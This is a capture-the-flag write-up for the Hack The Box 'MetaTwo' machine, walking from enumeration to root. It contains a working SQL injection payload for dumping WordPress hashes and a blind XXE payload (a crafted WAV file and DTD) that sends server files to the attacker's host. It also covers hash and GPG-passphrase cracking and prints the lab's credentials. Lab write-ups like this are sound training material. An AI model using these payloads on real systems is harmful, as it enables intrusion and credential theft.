MetaTwo Writeup
29 April 2023 #CTF #HTB #box #easy #linuxEnumeration
Epic catchphrase about nmap
:
$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap 10.10.11.186
[...]
21/tcp open ftp
22/tcp open ssh
80/tcp open http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.186
[...]
# Nmap 7.93 scan initiated Sat Nov 12 17:58:14 2022 as: nmap -p 21,22,80, -n -sCV -oN enum/scripts-tcp.nmap 10.10.11.186
21/tcp open ftp?
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
SSH
Based on the SSH banner, we know that the box is running Debian Bullseye (11).
FTP
Let's try anonymous login:
$ ftp 10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (10.10.11.186:yep): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed
Looks like we need valid credentials to access it.
HTTP
Upon accessing http://10.10.11.186
we are redirected to http://metapress.htb
.
Let's see if we can get more subdomains:
$ ffuf -u http://10.10.11.186 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.metapress.htb' -fs 145
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.186
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.metapress.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________
:: Progress: [114441/114441] :: Job [1/1] :: 370 req/sec :: Duration: [0:05:10] :: Errors: 0 ::
Sadly, nothing.
metapress.htb
This is a pretty standard Wordpress blog:
Directory bruteforcing leads us nowhere, everything is pretty standard.
Since there is nothing else, we can take a look at the /events
page. After playing a bit with it, we find the plugin name by inspecting requests in Burp (Proxy tab -> HTTP history):
This plugin is vulnerable to SQL injection.
SQLi
Intercept the request when clicking on the 'Events' button:
The vulnerable parameter is total_services
and we can use the UNION technique:
We get the name of the 2 databases on mysql.
Tried using load_file()
but we don't have FILE privileges...
Fine, we can dump hashes from the wp_users
table instead:
-7502) UNION SELECT group_concat(concat(user_login,user_pass)),0,0,0,0,0,0,0,0 FROM wp_users-- -'
Let's try to crack these:
$ echo 'admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.' > wp-users.txt
$ echo 'manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70' >> wp-users.txt
$ hashcat wp-users.txt /usr/share/wordlists/rockyou.txt --username
[...]
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
Use the --username
flag because we specified username:hash in the file.
We cracked manager's password but not the admin one.
blind XXE as manager
The creds didn't work with ssh or ftp but we are able to login to Wordpress.
We can find the exact version of Wordpress just by looking in the html of /index.php
. We learn that Wordpress 5.6.2 has an authenticated XXE.
Got a working payload from this repo:
$ printf 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.14/xxe.dtd'"'"'>%remote;%init;%trick;] >\x00'> evil.wav
xxe.dtd
looks something like this:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.14/?p=%file;'>" >
evil.wav
will load xxe.dtd
from our python webserver which contains 2 external entities (basically XML variables).
file
will do the actual file read. It uses a php filter to encode the file in base64.init
defines a new entity (entity inception) that sends a request back to us with thefile
entity in the URL (that's why we need to encode the file in base64).
Upload the file via Wordpress' Media Library page and we should get a response back instantly:
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.186 - - [26/Nov/2022 17:19:11] "GET /xxe.dtd HTTP/1.1" 200 -
10.10.11.186 - - [26/Nov/2022 17:19:11] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
If we decode this, we will indeed see the /etc/passwd
of the box.
Foothold
Let's try a more juicy file like wp-config.php
. Just replace /etc/passwd
by ../wp-config.php
in xxe.dtd
and re-upload the file.
After decoding the output on the webserver we get what we want:
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
[...]
We can now access the FTP server:
$ ftp 10.10.11.186
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (ftp.metapress.htb:yep): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -a
229 Entering Extended Passive Mode (|||31998|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 0 metapress.htb 4096 Oct 5 14:12 .
drwxr-xr-x 4 0 metapress.htb 4096 Oct 5 14:12 ..
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
The blog
directory seems to be the web root of the Wordpress blog. However, we can't write files on here so we can't get code execution via a php webshell.
Let's look into mailer
instead:
ftp> cd mailer
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||41215|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 14:12 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 18:32 send_email.php
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||46795|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |*****************************************************************************************************************| 1126 807.94 KiB/s 00:00 ETA
226 Transfer complete
1126 bytes received in 00:00 (42.63 KiB/s)
Taking a peek at send_email.php
:
[...]
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
[...]
We can ssh with 'jnelson:Cb4_JmWM8zUZWMu@Ys':
$ ssh jnelson@10.10.11.186
[...]
jnelson@meta2:~$ id
uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)
Privesc
We can't run sudo
as our user, so let's look around our home directory:
jnelson@meta2:~$ ls -lA
total 24
lrwxrwxrwx 1 root root 9 Jun 26 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson 220 Jun 26 15:46 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 15:46 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
[...]
There is this .passpie
directory which is unusual. Turns out it is a command line password manager.
We can list stuff stored in the database:
jnelson@meta2:~$ passpie
Name Login Password Comment
------ ------- ---------- ---------
ssh jnelson ********
ssh root ********
It looks like there is the root password inside, as well as our current user's.
If we go into the .passpie
directory, we can see other files:
jnelson@meta2:~/.passpie$ ls -lA
total 16
-rwxr-x--- 1 jnelson jnelson 21 Dec 3 18:31 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 13:58 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 12:52 ssh
This .keys
file sounds intersting:
jnelson@meta2:~/.passpie$ cat .keys
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
[...]
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
[...]
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
It is a key pair that we can assume is used to encrypt/decrypt passwords. The private key is protected by a passphrase (the same passphrase passpie
asks us to get passwords from). Let's try to crack this passphrase.
Firstly, copy the private key from the .keys
file to a file on our box then convert the private key to a hash that john
can work with:
$ gpg2john passpie.key > hash.txt
File priv.key
Then attempt to crack it with john
:
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
[...]
blink182 (Passpie)
[...]
And we cracked the master password! (based music taste)
We can now get the root password through passpie
:
jnelson@meta2:~/.passpie$ passpie copy --to stdout root@ssh
Passphrase:
p7qfAZt4_A1xo_0x
jnelson@meta2:~/.passpie$ su -
Password:
root@meta2:~# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- Analyze HTTP traffic to discover new endpoints/intersting stuff
- Can perform HTTP requests with XXE (exfiltrate data + SSRF)
- Use
john
to crack gpg keys